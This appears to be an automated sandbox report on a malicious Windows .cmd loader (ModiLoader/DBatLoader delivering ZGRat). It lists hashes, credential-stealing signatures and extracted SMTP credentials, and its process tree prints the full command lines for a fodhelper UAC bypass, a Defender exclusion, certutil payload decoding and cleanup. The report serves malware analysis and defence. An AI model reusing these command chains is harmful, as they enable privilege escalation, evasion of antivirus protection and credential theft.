Analysis

  • max time kernel
    143s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-05-2024 09:44

General

  • Target

    0794732-20240502-000023.cmd

  • Size

    2.5MB

  • MD5

    cb7ad4fb01d8db651c816dee2ae10f85

  • SHA1

    fc9b1ccb0acec60b8657e80dc664448cc6c508e7

  • SHA256

    b81cd60b3bf0374b465e0b3b088a13eef95fa61e6acc1226d1b7f68bbef602da

  • SHA512

    d51d12007fb51043e0f103067e778d98706e9c96a0134c722351b8dde4d720677857181dec419ffb063e64be60c9fc4fbc2a9e8313898f807ab0a9ef70cb0823

  • SSDEEP

    49152:RM/SqG8iJ+4e2Dhq3ebaDZwZBhJRuf5yt:B

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    sslout.de
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    dataset123

Signatures

  • Detect ZGRat V1 33 IoCs
  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • ModiLoader Second Stage 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 18 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\0794732-20240502-000023.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4996
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
      2⤵
        PID:2152
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2932
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
          3⤵
            PID:776
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe C:\\Users\\Public\\ger.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3996
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\reg.exe C:\\Users\\Public\\ger.exe
            3⤵
              PID:4916
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4804
            • C:\Users\Public\xkn.exe
              C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
              3⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2824
              • C:\Users\Public\alpha.exe
                "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                4⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1436
                • C:\Users\Public\ger.exe
                  C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                  5⤵
                  • Executes dropped EXE
                  • Modifies registry class
                  PID:688
              • C:\Windows\system32\fodhelper.exe
                "C:\Windows\system32\fodhelper.exe"
                4⤵
                  PID:2728
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1668
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                3⤵
                  PID:4132
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\0794732-20240502-000023.cmd" "C:\\Users\\Public\\Dason.rtf" 9
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2388
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\0794732-20240502-000023.cmd" "C:\\Users\\Public\\Dason.rtf" 9
                  3⤵
                  • Executes dropped EXE
                  PID:3332
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Dason.rtf" "C:\\Users\\Public\\Libraries\\Dason.pif" 12
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4324
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Dason.rtf" "C:\\Users\\Public\\Libraries\\Dason.pif" 12
                  3⤵
                  • Executes dropped EXE
                  PID:4684
              • C:\Users\Public\Libraries\Dason.pif
                C:\Users\Public\Libraries\Dason.pif
                2⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2316
                • C:\Users\Public\Libraries\amtldmuI.pif
                  C:\Users\Public\Libraries\amtldmuI.pif
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1908
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del "C:\Users\Public\Dason.rtf" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:3024
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:3096
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del "C:\Users\Public\ger.exe" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:4556
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:8
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM SystemSettings.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:752
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:3592
            • C:\Windows\system32\SystemSettingsAdminFlows.exe
              "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
              1⤵
                PID:3580

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ockex0xk.zkp.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Public\Dason.rtf

                Filesize

                1.8MB

                MD5

                5e3683abe565b079878fbc87b25b5bd9

                SHA1

                ba98abd671e3e2966263c690bb14ec14a8bacaf1

                SHA256

                d33ea19c508d964cde76174bef38b9e86ac8e16d9733412c2ddc67646efdb03d

                SHA512

                b16e92593661d6c6af0a42903d39692ad3dcdb0137e1023008d765a7ebb1ac26ad1acdb2127c7eb41f65af1ac0991ca522a45a5b5b481f699c31a8861bd99d66

              • C:\Users\Public\Libraries\Dason.pif

                Filesize

                937KB

                MD5

                f1997d251676602369cc0dae8fd6c1dd

                SHA1

                bb054605fcb87c3613856c047db952b0053805fe

                SHA256

                7f761f439918a94adc2d211243cee716b7f817529009478f1c875ba1d881a7b1

                SHA512

                4b98040b0cf36127baa664c72451b126212a815992a8cfde5d7769d043593e23bdc7c624f28dadbeff4e82a3195c38ede06f0829debe92eeb6d8a615ac357685

              • C:\Users\Public\Libraries\amtldmuI.pif

                Filesize

                66KB

                MD5

                c116d3604ceafe7057d77ff27552c215

                SHA1

                452b14432fb5758b46f2897aeccd89f7c82a727d

                SHA256

                7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301

                SHA512

                9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

              • C:\Users\Public\alpha.exe

                Filesize

                283KB

                MD5

                8a2122e8162dbef04694b9c3e0b6cdee

                SHA1

                f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                SHA256

                b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                SHA512

                99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

              • C:\Users\Public\ger.exe

                Filesize

                75KB

                MD5

                227f63e1d9008b36bdbcc4b397780be4

                SHA1

                c0db341defa8ef40c03ed769a9001d600e0f4dae

                SHA256

                c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d

                SHA512

                101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

              • C:\Users\Public\kn.exe

                Filesize

                1.6MB

                MD5

                bd8d9943a9b1def98eb83e0fa48796c2

                SHA1

                70e89852f023ab7cde0173eda1208dbb580f1e4f

                SHA256

                8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

                SHA512

                95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

              • C:\Users\Public\xkn.exe

                Filesize

                442KB

                MD5

                04029e121a0cfa5991749937dd22a1d9

                SHA1

                f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                SHA256

                9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                SHA512

                6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

              • memory/1908-113-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-101-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-65-0x0000000034460000-0x00000000344BE000-memory.dmp

                Filesize

                376KB

              • memory/1908-66-0x0000000034540000-0x0000000034AE4000-memory.dmp

                Filesize

                5.6MB

              • memory/1908-67-0x0000000034B30000-0x0000000034B8C000-memory.dmp

                Filesize

                368KB

              • memory/1908-107-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-85-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-69-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-68-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-127-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-125-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-123-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-121-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-119-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-117-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-115-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-60-0x0000000000400000-0x0000000001400000-memory.dmp

                Filesize

                16.0MB

              • memory/1908-111-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-109-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-105-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-103-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-63-0x0000000000400000-0x0000000001400000-memory.dmp

                Filesize

                16.0MB

              • memory/1908-99-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-97-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-95-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-93-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-91-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-89-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-87-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-83-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-81-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-79-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-77-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-75-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-73-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-71-0x0000000034B30000-0x0000000034B87000-memory.dmp

                Filesize

                348KB

              • memory/1908-1218-0x0000000034CA0000-0x0000000034D06000-memory.dmp

                Filesize

                408KB

              • memory/1908-1219-0x0000000035B70000-0x0000000035BC0000-memory.dmp

                Filesize

                320KB

              • memory/1908-1220-0x0000000035BC0000-0x0000000035C5C000-memory.dmp

                Filesize

                624KB

              • memory/1908-1226-0x0000000035E50000-0x0000000035EE2000-memory.dmp

                Filesize

                584KB

              • memory/1908-1227-0x0000000036080000-0x000000003608A000-memory.dmp

                Filesize

                40KB

              • memory/2316-57-0x0000000000400000-0x00000000004F4000-memory.dmp

                Filesize

                976KB

              • memory/2824-22-0x0000010DF4D70000-0x0000010DF4D92000-memory.dmp

                Filesize

                136KB